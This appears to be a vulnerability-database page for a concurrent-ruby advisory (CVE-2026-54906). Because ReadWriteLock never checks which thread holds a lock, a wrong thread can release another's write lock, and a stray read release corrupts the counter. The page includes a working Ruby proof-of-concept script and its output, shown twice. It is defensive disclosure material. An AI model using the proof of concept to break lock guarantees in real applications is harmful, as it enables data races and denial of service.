GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-6WX8-W4F5-WWCR

Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47
VLAI
Summary
Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption
Details

Summary

Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.

Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.

This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.

Version

Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

release_write_lock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:

def release_write_lock
  return true unless running_writer?
  c = @Counter.update { |counter| counter - RUNNING_WRITER }
  @ReadLock.broadcast
  @WriteLock.signal if waiting_writers(c) > 0
  true
end

Because ownership is not checked, a different thread can clear the RUNNING_WRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.

release_read_lock unconditionally decrements the shared counter:

def release_read_lock
  while true
    c = @Counter.value
    if @Counter.compare_and_set(c, c-1)
      if waiting_writer?(c) && running_readers(c) == 1
        @WriteLock.signal
      end
      break
    end
  end
  true
end

On a fresh lock, this changes the counter from 0 to -1. A later acquire_read_lock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.

Reproduce

From the root of a concurrent-ruby checkout, run:

ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"

lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false

writer1 = Thread.new do
  lock.acquire_write_lock
  writer1_inside = true
  events << :writer1_acquired
  sleep 0.5
  writer1_inside = false
  lock.release_write_lock
  events << :writer1_finished
end

events.pop
puts 'writer1_acquired=true'

intruder_result = nil
intruder = Thread.new do
  intruder_result = lock.release_write_lock
end
intruder.join

puts "wrong_thread_release_write_lock_returned=#{intruder_result}"

writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
  lock.acquire_write_lock
  writer2_entered_while_writer1_inside = writer1_inside
  lock.release_write_lock
end

writer2.join(0.25)

puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"

writer1.join

lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
  lock2.acquire_read_lock
  'acquired'
rescue => error
  "#{error.class}: #{error.message}"
end

puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"

if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
  puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
  puts 'result=NOT_REPRODUCED'
end

Expected result:

  • A second thread successfully calls release_write_lock while the first writer still holds the lock.
  • A second writer enters while the first writer is still inside the write critical section.
  • Calling release_read_lock on a fresh lock changes the counter to -1.
  • A subsequent read acquisition fails with Concurrent::ResourceLimitError.

Log evidence

Local reproduction output:

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruption

Impact

This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release. The impact is local to applications that expose or misuse the manual acquire_* / release_* APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Severity
2.1 (Low)
CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "concurrent-ruby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-414",
      "CWE-667"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T20:47:41Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n`Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.\n\n`Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`.\n\nThis is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.\n\n###  Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\n`release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:\n\n```ruby\ndef release_write_lock\n  return true unless running_writer?\n  c = @Counter.update { |counter| counter - RUNNING_WRITER }\n  @ReadLock.broadcast\n  @WriteLock.signal if waiting_writers(c) \u003e 0\n  true\nend\n```\n\nBecause ownership is not checked, a different thread can clear the `RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.\n\n`release_read_lock` unconditionally decrements the shared counter:\n\n```ruby\ndef release_read_lock\n  while true\n    c = @Counter.value\n    if @Counter.compare_and_set(c, c-1)\n      if waiting_writer?(c) \u0026\u0026 running_readers(c) == 1\n        @WriteLock.signal\n      end\n      break\n    end\n  end\n  true\nend\n```\n\nOn a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated.\n\n# Reproduce\n\nFrom the root of a `concurrent-ruby` checkout, run:\n\n```bash\nruby -Ilib/concurrent-ruby - \u003c\u003c\u0027RUBY\u0027\nrequire \u0027concurrent/atomic/read_write_lock\u0027\nrequire \u0027concurrent/version\u0027\nrequire \u0027thread\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReadWriteLock release methods corrupt or bypass lock state\"\n\nlock = Concurrent::ReadWriteLock.new\nevents = Queue.new\nwriter1_inside = false\n\nwriter1 = Thread.new do\n  lock.acquire_write_lock\n  writer1_inside = true\n  events \u003c\u003c :writer1_acquired\n  sleep 0.5\n  writer1_inside = false\n  lock.release_write_lock\n  events \u003c\u003c :writer1_finished\nend\n\nevents.pop\nputs \u0027writer1_acquired=true\u0027\n\nintruder_result = nil\nintruder = Thread.new do\n  intruder_result = lock.release_write_lock\nend\nintruder.join\n\nputs \"wrong_thread_release_write_lock_returned=#{intruder_result}\"\n\nwriter2_entered_while_writer1_inside = nil\nwriter2 = Thread.new do\n  lock.acquire_write_lock\n  writer2_entered_while_writer1_inside = writer1_inside\n  lock.release_write_lock\nend\n\nwriter2.join(0.25)\n\nputs \"writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}\"\n\nwriter1.join\n\nlock2 = Concurrent::ReadWriteLock.new\nstray_read_release_result = lock2.release_read_lock\ncounter_after_stray_read_release = lock2.instance_eval { @Counter.value }\nread_after_stray_release = begin\n  lock2.acquire_read_lock\n  \u0027acquired\u0027\nrescue =\u003e error\n  \"#{error.class}: #{error.message}\"\nend\n\nputs \"stray_release_read_lock_returned=#{stray_read_release_result}\"\nputs \"counter_after_stray_read_release=#{counter_after_stray_read_release}\"\nputs \"acquire_read_after_stray_release=#{read_after_stray_release}\"\n\nif intruder_result \u0026\u0026 writer2_entered_while_writer1_inside \u0026\u0026 counter_after_stray_read_release == -1\n  puts \u0027result=REPRODUCED wrong-thread write release and stray read-release corruption\u0027\nelse\n  puts \u0027result=NOT_REPRODUCED\u0027\nend\n```\nExpected result:\n\n- A second thread successfully calls `release_write_lock` while the first writer still holds the lock.\n- A second writer enters while the first writer is still inside the write critical section.\n- Calling `release_read_lock` on a fresh lock changes the counter to `-1`.\n- A subsequent read acquisition fails with `Concurrent::ResourceLimitError`.\n\n### Log evidence\n\nLocal reproduction output:\n\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReadWriteLock release methods corrupt or bypass lock state\nwriter1_acquired=true\nwrong_thread_release_write_lock_returned=true\nwriter2_acquired_while_writer1_inside=true\nstray_release_read_lock_returned=true\ncounter_after_stray_read_release=-1\nacquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads\nresult=REPRODUCED wrong-thread write release and stray read-release corruption\n```\n\n### Impact\nThis can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.\nThe impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
  "id": "GHSA-6wx8-w4f5-wwcr",
  "modified": "2026-06-19T20:47:41Z",
  "published": "2026-06-19T20:47:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby-concurrency/concurrent-ruby"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.